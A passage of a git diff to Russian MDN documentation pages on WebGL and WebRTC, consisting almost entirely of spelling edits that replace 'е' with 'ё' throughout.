          Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.

          +

          Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаём их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.

          Фрагментный шейдер

          diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html index 64dee04e13..eb5aef450a 100644 --- a/files/ru/web/api/webgl_api/webgl_best_practices/index.html +++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html @@ -10,9 +10,9 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices

          Чего следует избегать

            -
          • Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?
            • +
          • Убедитесь, что ваше приложение не выдаёт какие-либо ошибки WebGL, возвращаемые функцией getError(). В Firefox при каждой ошибке (до определённого предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?
          • Не следует использовать #ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.
            • -
          • Использование высокой точности (highp precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности.
            • +
          • Использование высокой точности (highp precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причём этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надёжными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности.

          О чем следует помнить.

          @@ -22,7 +22,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
        5. В частности, использование текстур в вершинном шейдере возможно только если значение webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.
        6. Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.
        7. Рендеринг в floating-point текстуру может не выполняться даже если расширение OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().
          8. -
        8. Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки, однако, на скорость работы вершинных шейдеров это не повлияет. прим. перев.).
          9. +
        9. Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определённых в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки, однако, на скорость работы вершинных шейдеров это не повлияет. прим. перев.).

          10. Общие советы по повышению производительности

          @@ -30,7 +30,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
          • Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: getError(), readPixels() и finish(). Вызовы функций, получающих значения, такие как getParameter() и getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.
          • Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции drawArrays() или drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().
            • -
          • Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру (т.н. текстурный атлас, прим. перев.) и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность. +
          • Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру (т.н. текстурный атлас, прим. перев.) и отображать требуемое изображение с помощью поправок текстурных координат, то это приведёт к уменьшению переключений между текстурами, что увеличит производительность.
            • В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.
            diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html index 4bbea586ed..b23d2c5b8d 100644 --- a/files/ru/web/api/webglrenderingcontext/activetexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture 
            gl.activeTexture(gl.TEXTURE0);
 gl.getParameter(gl.ACTIVE_TEXTURE);
-// вернет "33984" (0x84C0, gl.TEXTURE0 enum value)
+// вернёт "33984" (0x84C0, gl.TEXTURE0 enum value)

            Спецификация

            @@ -70,7 +70,7 @@ gl.getParameter(gl.ACTIVE_TEXTURE);

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.activeTexture")}}

            diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html index 2a3fd529b3..38d9a3aaa0 100644 --- a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture
          • gl.TEXTURE_CUBE_MAP: кубическая текстура.
          • При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны:
              -
            • gl.TEXTURE_3D: трехмерная текстура.
              • +
            • gl.TEXTURE_3D: трёхмерная текстура.
            • gl.TEXTURE_2D_ARRAY: массив двумерных текстур.
            • @@ -93,7 +93,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture);

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.bindTexture")}}

            diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html index 9ecb9bd735..b68ba5b4be 100644 --- a/files/ru/web/api/webglrenderingcontext/compileshader/index.html +++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html @@ -50,7 +50,7 @@ gl.compileShader(shader);

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.compileShader")}}

            diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html index d7cc40db94..fe955d5073 100644 --- a/files/ru/web/api/webglrenderingcontext/enable/index.html +++ b/files/ru/web/api/webglrenderingcontext/enable/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGLRenderingContext/enable ---
            {{APIRef("WebGL")}}
            -

            Метод WebGLRenderingContext.enable() из WebGL API активирует определенные возможности WebGL для текущего контекста.

            +

            Метод WebGLRenderingContext.enable() из WebGL API активирует определённые возможности WebGL для текущего контекста.

            Синтаксис

            diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html index e91fa4e851..e34cc75d94 100644 --- a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html +++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html @@ -65,7 +65,7 @@ if (message.length > 0) {

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}

            diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html index 2db54961f0..550dc0f367 100644 --- a/files/ru/web/api/webglrenderingcontext/index.html +++ b/files/ru/web/api/webglrenderingcontext/index.html @@ -72,11 +72,11 @@ var gl = canvas.getContext('webgl');
            {{domxref("WebGLRenderingContext.blendFuncSeparate()")}}
            Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.
            {{domxref("WebGLRenderingContext.clearColor()")}}
            -
            Задает значения цвета, используемые при очистке цветовых буферов.
            +
            Задаёт значения цвета, используемые при очистке цветовых буферов.
            {{domxref("WebGLRenderingContext.clearDepth()")}}
            -
            Задает значение глубины, используемый при очистке буфера глубины.
            +
            Задаёт значение глубины, используемый при очистке буфера глубины.
            {{domxref("WebGLRenderingContext.clearStencil()")}}
            -
            Задает значение шаблона, используемый при очистке буфера шаблона.
            +
            Задаёт значение шаблона, используемый при очистке буфера шаблона.
            {{domxref("WebGLRenderingContext.colorMask()")}}
            Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.
            {{domxref("WebGLRenderingContext.cullFace()")}}
            @@ -98,7 +98,7 @@ var gl = canvas.getContext('webgl');
            {{domxref("WebGLRenderingContext.getError()")}}
            Возвращает информацию об ошибках.
            {{domxref("WebGLRenderingContext.hint()")}}
            -
            Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.
            +
            Указывает подсказки для определённого поведения. Интерпретация этих подсказок зависит от реализации.
            {{domxref("WebGLRenderingContext.isEnabled()")}}
            Проверяет,  включена или нет конкретная способность WebG.
            {{domxref("WebGLRenderingContext.lineWidth()")}}
            @@ -106,7 +106,7 @@ var gl = canvas.getContext('webgl');
            {{domxref("WebGLRenderingContext.pixelStorei()")}}
            Определяет режимы хранилища пикселей
            {{domxref("WebGLRenderingContext.polygonOffset()")}}
            -
            Определяет факторы масштабирования  и единицы для расчета значения глубины.
            +
            Определяет факторы масштабирования  и единицы для расчёта значения глубины.
            {{domxref("WebGLRenderingContext.sampleCoverage()")}}
            Определяет составные параметры  для сглаживания эффектов.
            {{domxref("WebGLRenderingContext.stencilFunc()")}}
            diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html index 86ac976ab8..c41d33671f 100644 --- a/files/ru/web/api/webglrenderingcontext/shadersource/index.html +++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html @@ -56,7 +56,7 @@ var source = gl.getShaderSource(shader);

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.shaderSource")}}

            diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html index 91a02ac2b9..d1f8c30223 100644 --- a/files/ru/web/api/webglrenderingcontext/uniform/index.html +++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html @@ -88,7 +88,7 @@ gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или масс

            Совместимость с браузерами

            - +

            {{Compat("api.WebGLRenderingContext.uniform1f")}}

            diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html index efe5581fc2..575e045e1f 100644 --- a/files/ru/web/api/webrtc_api/adapter.js/index.html +++ b/files/ru/web/api/webrtc_api/adapter.js/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/adapter.js ---

            {{WebRTCSidebar}}

            -

            Несмотря на то, что WebRTC спецификация относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация WebRTC предлагает библиотеку adapter.js для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути

            +

            Несмотря на то, что WebRTC спецификация относительно стабильна, не все ещё браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все ещё содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своём коде. Но есть более простой выход. Организация WebRTC предлагает библиотеку adapter.js для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути

            Примечание : Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.

            diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html index 1c3d082d99..e1563f8e4f 100644 --- a/files/ru/web/api/webrtc_api/index.html +++ b/files/ru/web/api/webrtc_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API

            WebRTC (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.

            -

            WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.

            +

            WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдёте, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.

            Совместимость

            @@ -39,7 +39,7 @@ translation_of: Web/API/WebRTC_API
            {{domxref("RTCPeerConnection")}}
            -
            Представляет  WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.
            +
            Представляет  WebRTC соединение между локальным компьютером и удалённым узлом. Используется для обработки успешной передачи данных между двумя узлами.
            {{domxref("RTCSessionDescription")}}
            Представляет параметры сессии. Каждый RTCSessionDescription содержит описания типа, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и SDP-дескриптор сессии.
            {{domxref("RTCIceCandidate")}}
            @@ -47,7 +47,7 @@ translation_of: Web/API/WebRTC_API
            {{domxref("RTCIceTransport")}}
            Представляет информацию о средстве подключения к Интернету (ICE).
            {{domxref("RTCPeerConnectionIceEvent")}}
            -
            Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.
            +
            Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передаётся данному объекту события: {{event ("icecandidate")}}.
            {{domxref("RTCRtpSender")}}
            Управляет кодированием и передачей данных через объект типа  {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.
            {{domxref("RTCRtpReceiver")}}
            @@ -59,7 +59,7 @@ translation_of: Web/API/WebRTC_API
            {{domxref("RTCDataChannel")}}
            Представляет двунаправленный канал данных между двумя узлами соединения.
            {{domxref("RTCDataChannelEvent")}}
            -
            Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.
            +
            Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("datachannel")}}.
            {{domxref("RTCDTMFSender")}}
            Управляет кодированием и передачей  двухтональной мультичастотной  (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.
            {{domxref("RTCDTMFToneChangeEvent")}}
            @@ -71,9 +71,9 @@ translation_of: Web/API/WebRTC_API
            {{domxref("RTCIdentityProvider")}}
            Активирует возможность браузеру запросить создание или проверку объявления идентификации.
            {{domxref("RTCIdentityAssertion")}}
            -
            Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет null. После установки не изменяется.
            +
            Представляет идентификатор удалённого узла текущего соединения. Если узел ещё не установлен и подтверждён, ссылка на интерфейс вернёт null. После установки не изменяется.
            {{domxref("RTCIdentityEvent")}}
            -
            Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.
            +
            Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("identityresult")}}.
            {{domxref("RTCIdentityErrorEvent")}}
            Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.
            @@ -84,11 +84,11 @@ translation_of: Web/API/WebRTC_API
            Обзор архитектуры WebRTC
            Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.
            Жизнь WebRTC-сессии
            -
            WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.
            +
            WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдём весь путь до его завершения, когда оно больше не нужно.
            Обзор WebRTC API
            WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.
            Основы WebRTC
            -
            Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.
            +
            Эта статья проведёт вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.
            Протоколы WebRTC
            В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.
            @@ -113,7 +113,7 @@ translation_of: Web/API/WebRTC_API
            Простой пример канала данных RTCDataChannel
            Интерфейс {{domxref("RTCDataChannel")}}  - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны  WebSocket API, так, что бы в обоих могла использоваться единая модель программирования.
            Сигнализация и двухсторонние видео вызовы
            -
            Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.
            +
            Например, мы берём чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.

            Ресурсы

            diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html index 0b052b5475..adf957e2fd 100644 --- a/files/ru/web/api/webrtc_api/session_lifetime/index.html +++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html @@ -7,11 +7,11 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
            -
            WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.
            +
            WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живёт WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.
            -

            Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью Signaling and video calling, чтобы получить пример с пошаговым объяснением того, что делает код.

            +

            Эта статья не вдаётся в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью Signaling and video calling, чтобы получить пример с пошаговым объяснением того, что делает код.

            Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. 

            @@ -21,7 +21,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

            Установка соединения

            -

            Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.

            +

            Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путём маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.

            Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и по сути, IP-адрес устройства может измениться не только тогда, когда оно перемещается из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет.  Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.

            @@ -31,7 +31,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

            Процесс Сигнализации

            -

            Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - этот процесс не определен в спецификации.

            +

            Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - этот процесс не определён в спецификации.

            Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.

            @@ -58,18 +58,18 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

            Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:

              -
            1. Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.
              2. +
            2. Каждый узел создаёт объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.
            3. Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.
              4. -
            4. Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.
              5. -
            5. Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.
              6. +
            6. Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удалённого узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.
              7. +
            7. Вызывающий узел создаёт уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остаётся на усмотрение разработчика.
            8. Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.
              9. -
            9. Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)
              10. +
            10. Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определённым на шаге 4)
            11. descriptions, candidates, etc. -- more coming up

            Перезапуск сессии ICE агент

            -

            Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.

            +

            Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдёт от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдёт, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.

            Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:

            @@ -77,7 +77,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

            Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать  все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. <<< Все зависит от вашего кодерства... >>>

            -

            Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед RTCPeerConnection.setConfiguration()(перед назначением конфигурации) с обновленной RTCConfiguration(конфигурацией) перед повторным запуском движка.

            +

            Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед RTCPeerConnection.setConfiguration()(перед назначением конфигурации) с обновлённой RTCConfiguration(конфигурацией) перед повторным запуском движка.

            Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова RTCPeerConnection.createOffer(), указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.

            diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 844c8e0d19..73db097039 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling ---
            {{WebRTCSidebar}}
            -

            WebRTC позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым сигнализацией (signaling). Эта статья объясняет, как сделать двусторонний видеозвонок.

            +

            WebRTC позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путём обнаружения и согласования, называемым сигнализацией (signaling). Эта статья объясняет, как сделать двусторонний видеозвонок.

            -

            WebRTC это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, как обсуждалось здесь. Этот процесс назван сигнализацией и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.

            +

